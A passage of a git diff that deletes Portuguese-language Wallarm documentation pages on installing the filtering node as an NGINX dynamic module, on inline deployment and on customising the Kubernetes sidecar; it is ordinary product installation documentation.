-[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../../faq/nginx-compatibility.md#is-wallarm-filtering-node-compatible-with-the-custom-build-of-nginx -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[platform]: ../../../supported-deployment-options.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md - -# Implantação com o Instalador All-in-One - -Um **instalador all-in-one** foi projetado para simplificar e padronizar o processo de instalação do nodo Wallarm como um módulo dinâmico para o NGINX em diversos ambientes. Este instalador identifica automaticamente as versões do sistema operacional e do NGINX e instala todas as dependências necessárias. - -Em comparação com os pacotes Linux individuais oferecidos pela Wallarm para [NGINX](individual-packages-nginx-stable.md), [NGINX Plus](individual-packages-nginx-plus.md) e [NGINX fornecido pela distribuição](individual-packages-nginx-distro.md), o **instalador all-in-one** simplifica o processo, executando automaticamente as seguintes ações: - -1. Verifica a versão do seu sistema operacional e do NGINX. -1. Adiciona os repositórios Wallarm para a versão do SO e do NGINX detectada. -1. Instala os pacotes Wallarm a partir desses repositórios. -1. Conecta o módulo Wallarm instalado ao seu NGINX. -1. Conecta o nodo de filtro à nuvem Wallarm usando o token fornecido. - -![Comparação entre all-in-one e manual](../../../../images/installation-nginx-overview/manual-vs-all-in-one.png) - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/all-in-one/use-cases.md" - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/all-in-one-requirements.md" - -## Passo 1: Instalar NGINX e dependências - ---8<-- "../include-pt-BR/waf/installation/all-in-one-nginx.md" - -## Passo 2: Preparar token Wallarm - ---8<-- "../include-pt-BR/waf/installation/all-in-one-token.md" - -## Passo 3: Baixar instalador all-in-one Wallarm - ---8<-- "../include-pt-BR/waf/installation/all-in-one-installer-download.md" - -## Passo 4: Executar instalador all-in-one Wallarm - ---8<-- "../include-pt-BR/waf/installation/all-in-one-installer-run.md" - -Os comandos nos próximos passos são os mesmos para instalações x86_64 e ARM64. - -## Passo 5: Ativar o nodo Wallarm para analisar o tráfego - ---8<-- "../include-pt-BR/waf/installation/common-steps-to-enable-traffic-analysis-inline.md" - -## Passo 6: Reiniciar o NGINX - ---8<-- "../include-pt-BR/waf/installation/restart-nginx-systemctl.md" - -## Passo 7: Configurar o envio de tráfego para o nodo Wallarm - ---8<-- "../include-pt-BR/waf/installation/sending-traffic-to-node-inline.md" - -## Passo 8: Testar operação do nodo Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -## Passo 9: Ajustar a solução implantada - -O módulo dinâmico Wallarm com configurações padrão está instalado. O nodo de filtragem pode necessitar de alguma configuração adicional após a implantação. - -As configurações do Wallarm são definidas usando as [diretivas NGINX](../../../../admin-en/configure-parameters-en.md) ou a interface do usuário do console Wallarm. As diretivas devem ser configuradas nos seguintes arquivos na máquina com o nodo Wallarm: - -* `/etc/nginx/nginx.conf` com as configurações do NGINX -* `/etc/nginx/wallarm-status.conf` com as definições de monitoramento do nodo Wallarm. Uma descrição detalhada está disponível no [link][wallarm-status-instr] -* `/opt/wallarm/etc/collectd/wallarm-collectd.conf.d/wallarm-tarantool.conf` com as configurações para o plugin `collectd` que coleta estatísticas do Tarantool - -Abaixo, algumas das configurações típicas que você pode aplicar, se necessário: - -* [Configuração do modo de filtragem][waf-mode-instr] -* [Alocando recursos para os nodos Wallarm][memory-instr] -* [Registrando variáveis do nodo Wallarm][logging-instr] -* [Usando o balanceador do servidor proxy atrás do nodo de filtragem][proxy-balancer-instr] -* [Limitando o tempo de processamento de uma única solicitação na diretiva `wallarm_process_time_limit`][process-time-limit-instr] -* [Limitando o tempo de espera da resposta do servidor na diretiva `proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Limitando o tamanho máximo da solicitação na diretiva `client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [Configurando a resolução dinâmica do DNS no NGINX][dynamic-dns-resolution-nginx] - -## Opções de lançamento - -Assim que você tiver o script all-in one baixado, você pode obter ajuda com ele através do seguinte comando: - -``` -sudo sh ./wallarm-4.8.0.x86_64-glibc.sh -- -h -``` - -Que retorna: - -``` -... -Uso: setup.sh [options]... [arguments]... [filtering/postanalytics] - -OPÇÃO DESCRIÇÃO --b, --batch Modo em lote, instalação não interativa. --t, --token TOKEN Token do nodo, usado apenas em modo em lote. --c, --cloud CLOUD Nuvem Wallarm, um dos EUA/UE, padrão é UE, usado apenas em modo em lote. --H, --host HOST Endereço da API Wallarm, por exemplo, api.wallarm.com ou us1.api.wallarm.com, usado apenas em modo em lote. --P, --port PORT Porta da API Wallarm, por exemplo, 443. - --no-ssl Desativar SSL para acesso à API Wallarm. - --no-verify Desativar verificação de certificados SSL. --f, --force Se houver um nodo com o mesmo nome, crie uma nova instância. --h, --help - --version -``` - -Note que: - -* A opção `--batch` habilita um **modo em lote (não interativo)**. Neste modo, se você não usar parâmetros adicionais, o nodo é instalado imediatamente após o lançamento do script, sem requerer interação adicional ou entrada de dados do usuário. O modo em lote: - - * Requer `--token` - * Instala o nodo na nuvem UE por padrão - * Permite modificações do comportamento do script com opções adicionais - -* O alternador `filtering/postanalytics` permite instalar [separadamente](../../../../admin-en/installation-postanalytics-en.md#postanalytics-module-installation-via-all-in-one-installation-script) o módulo postanalítico. Se o alternador não for usado, a parte de filtragem e pós-análise é instalada junta. \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-distro.md b/docs/latest-pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-distro.md deleted file mode 100644 index ceb8f72e03..0000000000 --- a/docs/latest-pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-distro.md +++ /dev/null @@ -1,99 +0,0 @@ -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../../admin-en/installation-postanalytics-en/ -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../custom/custom-nginx-version.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png - -# Instalando como um Módulo Dinâmico para Distribuição-Provida NGINX - -Estas instruções descrevem os passos para instalar o nó de filtragem do Wallarm como um módulo dinâmico para a versão de código aberto do NGINX instalado a partir dos repositórios Debian/CentOS. O nó realizará a análise de tráfego online. - -!!! info "Instalação all-in-one" - A partir do nó Wallarm 4.6, é recomendado usar a [instalação all-in-one](all-in-one.md), que automatiza todas as atividades listadas nos passos abaixo e facilita muito a implantação do nó. - -O NGINX Open Source pode ser obtido em nginx.org ou nos repositórios padrão de Debian/CentOS, dependendo de suas necessidades, preferências de versão do NGINX e políticas de gerenciamento de repositório. O Wallarm fornece pacotes tanto para [nginx.org](individual-packages-nginx-stable.md) quanto para versões providas pela distribuição. Este guia se concentra no NGINX dos repositórios Debian/CentOS. - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/linux-packages/nginx-distro-use-cases.md" - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/linux-packages/requirements-nginx-distro.md" - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md" - -## 5. Habilite o Wallarm para analisar o tráfego - ---8<-- "../include-pt-BR/waf/installation/common-steps-to-enable-traffic-analysis-inline.md" - -## 6. Reinicie o NGINX - ---8<-- "../include-pt-BR/waf/root_perm_info.md" - -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` - -## 7. Configure o envio de tráfego para a instância Wallarm - ---8<-- "../include-pt-BR/waf/installation/sending-traffic-to-node-inline.md" - -## 8. Teste a operação do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -## 9. Afine a solução implantada - -O módulo dinâmico Wallarm com configurações padrão é instalado para o NGINX `stable`. O nó de filtragem pode exigir alguma configuração adicional após a implantação. - -As configurações do Wallarm são definidas usando as [diretivas do NGINX](../../../../admin-en/configure-parameters-en.md) ou a interface do usuário do Console Wallarm. As diretivas devem ser definidas nos seguintes arquivos na máquina com o nó Wallarm: - -* `/etc/nginx/conf.d/default.conf` com configurações do NGINX -* `/etc/nginx/conf.d/wallarm.conf` com configurações globais do nó de filtragem - - O arquivo é usado para configurações aplicadas a todos os domínios. Para aplicar configurações diferentes a diferentes grupos de domínios, use o arquivo `default.conf` ou crie novos arquivos de configuração para cada grupo de domínio (por exemplo, `example.com.conf` e `test.com.conf`). Mais informações detalhadas sobre os arquivos de configuração do NGINX estão disponíveis na [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` com configurações de monitoramento do nó Wallarm. Descrição detalhada está disponível dentro do [link][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` ou `/etc/sysconfig/wallarm-tarantool` com as configurações do banco de dados Tarantool - -Abaixo, há algumas das configurações típicas que você pode aplicar, se necessário: - -* [Configuração do modo de filtração][waf-mode-instr] - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-customization-options.md" - -* [Configurando a resolução dinâmica de DNS no NGINX][dynamic-dns-resolution-nginx] \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-plus.md b/docs/latest-pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-plus.md deleted file mode 100644 index a7a3619046..0000000000 --- a/docs/latest-pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-plus.md +++ /dev/null @@ -1,81 +0,0 @@ -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../admin-en/installation-postanalytics-en/ -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx-plus/ -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../custom/custom-nginx-version.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png - -# Instalando como um Módulo Dinâmico para NGINX Plus - -Estas instruções descrevem as etapas para instalar o nó de filtragem Wallarm como um módulo dinâmico para a versão comercial oficial do NGINX Plus. O nó realizará análise de tráfego em linha. - -!!! informação "Instalação tudo em um" - A partir do nó Wallarm 4.6, é recomendado usar a [instalação tudo em um](../../../../installation/nginx/all-in-one.md) que automatiza todas as atividades listadas nas etapas abaixo e torna a implementação do nó muito mais fácil. - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/linux-packages/nginx-plus-use-cases.md" - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/linux-packages/requirements-nginx-plus.md" - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md" - -## 6. Ative o Wallarm para analisar o tráfego - ---8<-- "../include-pt-BR/waf/installation/common-steps-to-enable-traffic-analysis-inline.md" - -## 7. Reinicie o NGINX Plus - ---8<-- "../include-pt-BR/waf/root_perm_info.md" - ---8<-- "../include-pt-BR/waf/restart-nginx-4.4-and-above.md" - -## 8. Configure o envio de tráfego para a instância Wallarm - ---8<-- "../include-pt-BR/waf/installation/sending-traffic-to-node-inline.md" - -## 9. Teste a operação do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -## 10. Ajuste a solução implantada - -O módulo dinâmico Wallarm com configurações padrão é instalado para o NGINX Plus. O nó de filtragem pode exigir algumas configurações adicionais após a implantação. - -As configurações do Wallarm são definidas usando as [diretivas NGINX](../../../../admin-en/configure-parameters-en.md) ou a UI do Console Wallarm. As diretivas devem ser definidas nos seguintes arquivos na máquina com o nó Wallarm: - -* `/etc/nginx/conf.d/default.conf` com as configurações do NGINX -* `/etc/nginx/conf.d/wallarm.conf` com as configurações globais do nó de filtragem - - O arquivo é usado para configurações aplicadas a todos os domínios. Para aplicar configurações diferentes a diferentes grupos de domínio, use o arquivo `default.conf` ou crie novos arquivos de configuração para cada grupo de domínio (por exemplo, `example.com.conf` e `test.com.conf`). Mais informações detalhadas sobre os arquivos de configuração do NGINX estão disponíveis na [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` com as configurações de monitoramento do nó Wallarm. A descrição detalhada está disponível no [link][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` ou `/etc/sysconfig/wallarm-tarantool` com as configurações do banco de dados Tarantool - -Abaixo, há algumas das configurações típicas que você pode aplicar, se necessário: - -* [Configuração do modo de filtragem][waf-mode-instr] - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-customization-options.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-stable.md b/docs/latest-pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-stable.md deleted file mode 100644 index e427947cf9..0000000000 --- a/docs/latest-pt-BR/installation/inline/compute-instances/linux/individual-packages-nginx-stable.md +++ /dev/null @@ -1,84 +0,0 @@ -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../custom/custom-nginx-version.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png - -# Instalando como um Módulo Dinâmico para NGINX Estável - -Estas instruções descrevem os passos para instalar o nó de filtragem Wallarm como um módulo dinâmico para a versão de código aberto do NGINX `estável` que foi instalada a partir do repositório NGINX. O nó realizará análise de tráfego em linha. - -!!! info "Instalação tudo-em-um" - A partir do nó Wallarm 4.6, é recomendado usar a [instalação tudo-em-um](all-in-one.md) que automatiza todas as atividades listadas nos passos abaixo e torna o deployment do nó muito mais fácil. - -## Casos de uso - ---8<-- "../include-pt-BR/waf/installation/linux-packages/nginx-stable-use-cases.md" - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/linux-packages/requirements-nginx-stable.md" - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md" - -## 6. Habilitar Wallarm para analisar o tráfego - ---8<-- "../include-pt-BR/waf/installation/common-steps-to-enable-traffic-analysis-inline.md" - -## 7. Reiniciar NGINX - ---8<-- "../include-pt-BR/waf/root_perm_info.md" - ---8<-- "../include-pt-BR/waf/restart-nginx-4.4-and-above.md" - -## 8. Configurar o envio de tráfego para a instância Wallarm - ---8<-- "../include-pt-BR/waf/installation/sending-traffic-to-node-inline.md" - -## 9. Testar a operação do nó Wallarm - ---8<-- "../include-pt-BR/waf/installation/test-waf-operation-no-stats.md" - -## 10. Ajuste fino da solução implantada - -O módulo dinâmico Wallarm com configurações padrão está instalado para NGINX` estável`. O nó de filtragem pode requerer alguma configuração adicional após o deployment. - -As configurações do Wallarm são definidas usando as [Diretivas NGINX](../../../../admin-en/configure-parameters-en.md) ou a UI do Console Wallarm. As diretivas devem ser definidas nos seguintes arquivos na máquina com o nó Wallarm: - -* `/etc/nginx/conf.d/default.conf` com configurações NGINX -* `/etc/nginx/conf.d/wallarm.conf` com configurações globais do nó de filtragem - - O arquivo é usado para configurações aplicadas a todos os domínios. Para aplicar configurações diferentes a diferentes grupos de domínio, use o arquivo `default.conf` ou crie novos arquivos de configuração para cada grupo de domínio (por exemplo, `example.com.conf` e `test.com.conf`). Mais informações detalhadas sobre arquivos de configuração NGINX estão disponíveis na [documentação oficial NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` com configurações de monitoramento do nó Wallarm. A descrição detalhada está disponível no [link][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` ou `/etc/sysconfig/wallarm-tarantool` com as configurações do banco de dados Tarantool - -Abaixo estão algumas das configurações típicas que você pode aplicar se necessário: - -* [Configuração do modo de filtragem][waf-mode-instr] - ---8<-- "../include-pt-BR/waf/installation/linux-packages/common-customization-options.md" - -* [Configurando resolução de DNS dinâmico em NGINX][dynamic-dns-resolution-nginx] \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/inline/overview.md b/docs/latest-pt-BR/installation/inline/overview.md deleted file mode 100644 index 342ac27687..0000000000 --- a/docs/latest-pt-BR/installation/inline/overview.md +++ /dev/null @@ -1,86 +0,0 @@ -# Implementação em Linha do Nó Wallarm - -A Wallarm pode ser implantada em linha para mitigar ameaças em tempo real. Neste caso, o tráfego para as APIs protegidas passa pelas instâncias do nó Wallarm antes de chegar à API. Não há como um invasor contornar os nós Wallarm, desde que estejam em linha e sejam a única rota disponível para os usuários finais. Este artigo explica a abordagem em detalhes. -As instâncias do nó Wallarm ficam entre o cliente e os servidores, analisando o tráfego de entrada, atenuando requisições maliciosas e encaminhando requisições legítimas para o servidor protegido. - -## Casos de uso - -A solução Wallarm Inline é adequada para os seguintes casos de uso: - -* Mitigar requisições maliciosas como injeções SQli, XSS, abuso de API, força bruta antes de chegarem ao servidor da aplicação. -* Obter conhecimento sobre vulnerabilidades de segurança ativas em seu sistema e aplicar patches virtuais antes de corrigir o código do aplicativo. -* Observar o inventário da API e rastrear dados sensíveis. - -## Vantagens e requisitos específicos - -A abordagem de implementação em linha para a implantação da Wallarm oferece várias vantagens em relação a outros métodos de implementação, como as [implantações OOB](../oob/overview.md): - -* A Wallarm bloqueia instantaneamente solicitações maliciosas, pois a análise de tráfego ocorre em tempo real. -* Todos os recursos da Wallarm, incluindo o [API Discovery](../../api-discovery/overview.md) e a [detecção de vulnerabilidades](../../about-wallarm/detecting-vulnerabilities.md), funcionam sem limitações já que a Wallarm tem acesso a ambas as requisições recebidas e respostas do servidor. - -Para implementar um esquema inline, você precisará alterar a rota do tráfego em sua infraestrutura. Além disso, considere cuidadosamente a [alocação de recursos](../../admin-en/configuration-guides/allocate-resources-for-node.md) para os nós Wallarm para garantir um serviço ininterrupto. - -Ao implantar nós Wallarm em nuvens públicas como AWS ou GCP para ambientes de produção, é necessário usar um grupo de dimensionamento automático adequadamente configurado para desempenho, escalabilidade e resistência ideais (consulte os artigos para a [AWS](../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md) ou [GCP](../../admin-en/installation-guides/google-cloud/autoscaling-overview.md)). - -## Modelos de implantação e métodos de implantação suportados - -Quando se trata de implantar Wallarm em linha, há dois modelos comuns a considerar: implantação de instância de computação e implantação Kubernetes. - -Você pode escolher o modelo e o método de implantação com base nas especificidades da sua infraestrutura. Se precisar de assistência para escolher o modelo e o método de implantação corretos, sinta-se à vontade para entrar em contato com nossa [equipe de vendas](mailto:sales@wallarm.com) e fornecer a eles informações adicionais sobre sua infraestrutura para orientação personalizada. - -### Executando Wallarm em instâncias de computação - -Neste modelo, você implanta Wallarm como um aparelho virtual dentro de sua infraestrutura. O aparelho virtual pode ser instalado como uma VM, contêiner ou instância em nuvem. - -Ao implantar um nó Wallarm, você tem a flexibilidade de posicioná-lo em diferentes localizações dentro da topologia da sua rede. No entanto, a abordagem recomendada é colocar a instância do nó atrás de um balanceador de carga público, à frente dos seus serviços de back-end, ou um balanceador de carga privado, geralmente localizado antes dos serviços de back-end. O seguinte diagrama ilustra o fluxo de tráfego típico nesta configuração: - -![Diagrama do esquema de filtragem em linha](../../images/waf-installation/inline/wallarm-inline-deployment-scheme.png) - -Os balanceadores de carga podem ser classificados em dois tipos: L4 e L7. O tipo de balanceador de carga determina como o desembarque SSL é tratado, o que é crucial ao integrar Wallarm à sua infraestrutura existente. - -* Se você usa um balanceador de carga L4, comumente o desembarque SSL é tratado por um servidor web posicionado atrás do balanceador de carga ou por outros meios em sua infraestrutura sem a instância Wallarm. No entanto, ao implantar o nó Wallarm, você precisa configurar o desembarque SSL na instância Wallarm. -* Se você usa um balanceador de carga L7, comumente o desembarque SSL é tratado pelo próprio balanceador de carga, e o nó Wallarm receberá HTTP puro. - -A Wallarm oferece os seguintes artefatos e soluções para a execução da Wallarm em instâncias de computação: - -**Amazon Web Services (AWS)** - -* [AMI](compute-instances/aws/aws-ami.md) -* [ECS](compute-instances/aws/aws-ecs.md) -* Módulo Terraform: - * [Proxy no AWS VPC](compute-instances/aws/terraform-module-for-aws-vpc.md) - * [Proxy para Amazon API Gateway](compute-instances/aws/terraform-module-for-aws-api-gateway.md) - -**Google Cloud Platform (GCP)** - -* [Imagem de máquina](compute-instances/gcp/machine-image.md) -* [GCE](compute-instances/gcp/gce.md) - -**Microsoft Azure** - -* [Instâncias de Contêiner Azure](compute-instances/azure/docker-image.md) - -**Alibaba Cloud** - -* [ECS](compute-instances/alibaba/docker-image.md) - -**Imagens Docker** - -* [Baseado em NGINX](compute-instances/docker/nginx-based.md) -* [Baseado em Envoy](compute-instances/docker/envoy-based.md) - -**Pacotes Linux** - -* [Pacotes individuais para NGINX estável](compute-instances/linux/individual-packages-nginx-stable.md) -* [Pacotes individuais para NGINX Plus](compute-instances/linux/individual-packages-nginx-plus.md) -* [Pacotes individuais para NGINX fornecido pela distribuição](compute-instances/linux/individual-packages-nginx-distro.md) -* [Instalador completo](compute-instances/linux/all-in-one.md) - -### Executando Wallarm no Kubernetes - -Se você utiliza o Kubernetes para orquestração de contêineres, a Wallarm pode ser implantada como uma solução nativa do Kubernetes. Ele se integra perfeitamente aos clusters do Kubernetes, aproveitando recursos como controladores de entrada ou sidecar. - -A Wallarm oferece os seguintes artefatos e soluções para executar Wallarm no Kubernetes: - -* [Controlador de Ingress NGINX](../../admin-en/installation-kubernetes-en.md) -* [Controlador Sidecar](../kubernetes/sidecar-proxy/deployment.md) \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/kubernetes/sidecar-proxy/customization.md b/docs/latest-pt-BR/installation/kubernetes/sidecar-proxy/customization.md deleted file mode 100644 index c71d0a307e..0000000000 --- a/docs/latest-pt-BR/installation/kubernetes/sidecar-proxy/customization.md +++ /dev/null @@ -1,484 +0,0 @@ -# Personalizando o Wallarm Sidecar - -Este artigo instrui você sobre a personalização segura e efetiva da [solução Wallarm Kubernetes Sidecar](deployment.md) fornecendo exemplos para alguns casos de uso de personalização comuns. - -## Área de configuração - -A solução Wallarm Sidecar é baseada nos componentes padrão do Kubernetes, portanto, a configuração da solução é muito semelhante à configuração da stack do Kubernetes. Você pode configurar a solução Wallarm Sidecar globalmente através do `values.yaml` e em uma base por aplicativo de pod via anotações. - -### Configurações globais - -As opções de configuração global se aplicam a todos os recursos de sidecar criados pelo controlador Wallarm e são definidas nos [valores padrão do gráfico Helm](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml). Você pode substituí-los durante `helm install` ou `helm upgrade` fornecendo um `values.yaml` personalizado. - -O número de opções de configuração global disponíveis é ilimitado. Deve-se ter cuidado ao personalizar a solução, pois ela permite a alteração completa do Pod resultante e a função inadequada da solução como resultado. Por favor, confie na documentação do Helm e Kubernetes ao alterar as configurações globais. - -[Aqui está a lista de valores específicos do gráfico Wallarm](helm-chart-for-wallarm.md) - -### Configurações por pod - -As configurações por pod permitem personalizar o comportamento da solução para determinados aplicativos. - -As configurações do pod de aplicação por aplicação são definidas através das anotações do Pod do aplicativo. As anotações têm precedência sobre as configurações globais. Se a mesma opção for especificada globalmente e através da 